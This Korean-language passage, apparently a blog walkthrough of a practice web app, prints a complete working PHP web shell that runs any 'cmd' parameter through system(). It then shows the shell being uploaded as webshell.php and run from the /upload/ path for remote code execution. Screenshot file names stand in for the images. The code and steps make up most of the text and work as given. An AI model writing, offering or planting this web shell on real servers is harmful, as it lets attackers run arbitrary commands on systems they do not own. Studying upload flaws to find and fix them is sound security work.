php의 웹셸 코드는 아래와 같습니다.

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

이 코드를 보면 cmd 파라미터를 통해 온 값을 system 함수를 통해 실행시킵니다.

해당 php 파일을 웹 서버에 접속하여 브라우저에서 실행할 수 있다면 웹 서버에 Remote code execution 이 가능합니다.

우선 위 코드를 webshell.php 로 저장하고, 웹 서버에 업로드 해보겠습니다.

Screenshot 2024-05-29 at 9.10.08 AM.png

Screenshot 2024-05-29 at 9.10.40 AM.png

정상적으로 업로드가 되었습니다.

해당 파일에 download 엔드포인트를 통해 접근하게 되면 그냥 파일이 다운받아지게 됩니다.

그럼 주소/upload.php 혹은 주소/download.php 로 php 파일을 실행시킨 것 처럼 주소/upload/webshell.php 이런식으로 하면 어떨까요?

Screenshot 2024-05-29 at 9.13.39 AM.png

webshell.php 가 정상적으로 실행이 됩니다.

Screenshot 2024-05-29 at 9.13.56 AM.png

webshell 의 기능도 정상적으로 동작합니다.